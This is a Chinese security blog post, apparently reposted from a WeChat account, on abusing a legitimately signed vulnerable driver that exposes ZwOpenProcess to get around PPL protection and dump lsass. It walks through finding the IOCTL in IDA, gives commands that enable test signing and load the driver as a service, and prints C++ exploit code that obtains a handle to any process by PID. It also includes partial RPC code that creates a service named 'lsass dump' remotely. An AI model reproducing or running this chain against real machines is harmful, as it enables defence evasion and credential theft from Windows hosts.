介绍
有关ZwOpenProcess函数介绍参考连接:
ZwOpenProcess 函数 (ntddk.h) - Windows drivers | Microsoft Learn
直观一些可以参考chatgpt的介绍
NTSTATUS ZwOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
-
ProcessHandle: 输出参数,接收进程句柄。 -
DesiredAccess: 请求的访问权限。 -
ObjectAttributes: 描述对象的属性(如安全性)。 -
ClientId: 要打开的进程的客户端标识(包括进程 ID 和线程 ID)。
找相关白驱动就好
通俗的说下驱动的使用方式,驱动相当于是一个很多方法的代码,就像是mvc里的module,一般会有个loader加载驱动给他对应的指令加载对应的函数或者方法去调用,一般驱动没被杀软或者edr标记是不会被查杀的因为自带合法签名,查杀的点更多在于加载方式。
驱动加载方式
这里我了解道的方法有两种,一种直接执行命令加载服务加载驱动(直接命令执行),另一种是通过rpc。
手动:
#本机打开测试签名模式,并重启
bcdedit /set testsigning on
#安装驱动
sc create DriverTest type= kernel binPath= "C:UsersAdministratorMyDriver.sys"
#加载驱动
sc start DriverTest
#卸载驱动
sc stop DriverTest
当然加载驱动都是要最少administrator权限的,rpc后面再说
驱动调用方式
一般驱动入口是DriverEntry然后需要DeviceName(符号链接)通信,传入对应的值调用方法。这里如果是静态分析我们需要自己去计算IOCTL码来调用方法的,这里说下IOCTL计算方式:
IOCTL = CTL_CODE(DeviceType, Function, Method, Access)
IOCTL Code=(Device Type<<16)∣(Function Code<<2)∣(Method<<0)∣(Access)
驱动挖掘分析
具备条件,ida缝隙import里面的东西ZwOpenProcess
双击击跟进去我们可以看到是我们介绍的敏感函数
然后ctrl+x跟进,前面几个看过了似乎都不太行,不可控,只有第四个可以
然后进入流程图,直接f5看伪代码
在这里我们发现有switch case语句,这里我们当case为0x3C的时候就可以调用到我们这个敏感函数,传入进程句柄就能控制进程。这里是由v10传入switch的,因为上面没任何判断,我们不需要做“数学题”。
继续跟函数
这块是驱动的IRP处理(I/O请求包),这的主要IRP是由进程句柄控制,也就是说我们这里进程句柄是可控的,继续更具函数,还做了权限检查等,其他没啥用。
这里就是驱动的初始化操作,也是驱动入口
这里我们也拿到了DeviceType值为0x8335u,那我们就先计算IOCTL值
IOCTL = ((0x8335 << 16) | (0 << 14) | (0x3C << 2) | 0)
//0x8335 << 16 = 0x83350000 (将 0x8335 左移16位)
//0x3C << 2 = 0xF0 (将 0x3C 左移2位)
//0x83350000 | 0xF0 = 0x8335003C (按位或操作)
IOCTL = 0x8335003C
10进制 = 2201288764
0x83350110 //ZwQuerySystemInformation
接下来就要寻找符号链接
然后进入流程图看xmmword就是符号链接
找到了
注释里写了,然后用CreateFileA创建就好\.名字
DeviceIoControl(hDriver, 0x8335003c, (*byte)(unsafe.Pointer(&pid)),
最后利用
在使用中,所以先不放出来了,这里我使用的是rpc加载方式驱动简单利用,核心代码:
#include <windows.h>
#include <string>
#include <iostream>
std::string CreateError(DWORD errCode) {
char* msgBuffer = nullptr;
size_t size = FormatMessageA(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, errCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPSTR)&msgBuffer, 0, NULL);
std::string message(msgBuffer, size);
LocalFree(msgBuffer);
return message;
}
HANDLE exp() {
std::wstring deviceName = L"\\.\设备名";
HANDLE hDriver = CreateFileW(deviceName.c_str(), GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open device: " << CreateError(GetLastError()) << std::endl;
return nullptr;
}
return hDriver;
}
HANDLE OpenProcess(HANDLE hDriver, int pid) {
HANDLE hProc = nullptr;
DWORD bytesReturned = 0;
if (!DeviceIoControl(
hDriver,
0x8335003c,
&pid, sizeof(pid),
&hProc, sizeof(hProc),
&bytesReturned,
NULL))
{
std::cerr << "Failed to communicate with device: " << CreateError(GetLastError()) << std::endl;
return nullptr;
}
return hProc;
}
int main() {
HANDLE hDriver = exp();
if (hDriver) {
int pid = 1234; // 示例的进程ID
HANDLE hProcess = OpenProcess(hDriver, pid);
if (hProcess) {
std::cout << "Process handle obtained successfully." << std::endl;
} else {
std::cerr << "Failed to obtain process handle." << std::endl;
}
CloseHandle(hDriver);
}
return 0;
}
exp
//上面省略
DWORD RpcAppendRequestData_Binary(RpcConnectionStruct *pRpcConnection, BYTE *pData, DWORD dwDataLength)
{
DWORD dwBytesAvailable = 0;
// ensure the request has been initialised
if(pRpcConnection->dwRequestInitialised == 0)
{
return 1;
}
// calculate number of bytes remaining in the input buffer
dwBytesAvailable = sizeof(pRpcConnection->bProcedureInputData) - pRpcConnection->dwProcedureInputDataLength;
if(dwDataLength > dwBytesAvailable)
{
// set input error flag
pRpcConnection->dwInputError = 1;
return 1;
}
// store data in buffer
memcpy((void*)&pRpcConnection->bProcedureInputData[pRpcConnection->dwProcedureInputDataLength], pData, dwDataLength);
pRpcConnection->dwProcedureInputDataLength += dwDataLength;
// align to 4 bytes if necessary
pRpcConnection->dwProcedureInputDataLength += CALC_ALIGN_PADDING(dwDataLength, 4);
return 0;
}
DWORD RpcAppendRequestData_Dword(RpcConnectionStruct *pRpcConnection, DWORD dwValue)
{
// add dword value
if(RpcAppendRequestData_Binary(pRpcConnection, (BYTE*)&dwValue, sizeof(DWORD)) != 0)
{
return 1;
}
return 0;
}
//中间省略
int expdivers(int argc, char *argv[])
{
RpcConnectionStruct RpcConnection;
BYTE bServiceManagerObject[20];
BYTE bServiceObject[20];
DWORD dwReturnValue = 0;
char szServiceName[256];
DWORD dwServiceNameLength = 0;
char szServiceCommandLine[256] = "符号链接";
DWORD dwServiceCommandLineLength = 0;
char *pExecCmd = NULL;
// generate a temporary service name
memset(szServiceName, 0, sizeof(szServiceName));
_snprintf(szServiceName, sizeof(szServiceName) - 1, "lsass dump_%u", GetTickCount());
dwServiceNameLength = strlen(szServiceName) + 1;
// open SVCCTL v2.0
if(RpcConnect("ntsvcs", "367abb81-9844-35f1-ad32-98f038001003", 2, &RpcConnection) != 0)
{
printf("Failed to connect to RPC pipen");
return 1;
}
完成思路参考:https://www.x86matthew.com/view_post?id=create_svc_rpc
原文始发于微信公众号(Urkc安全):驱动绕过ppl保护dump lsass
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论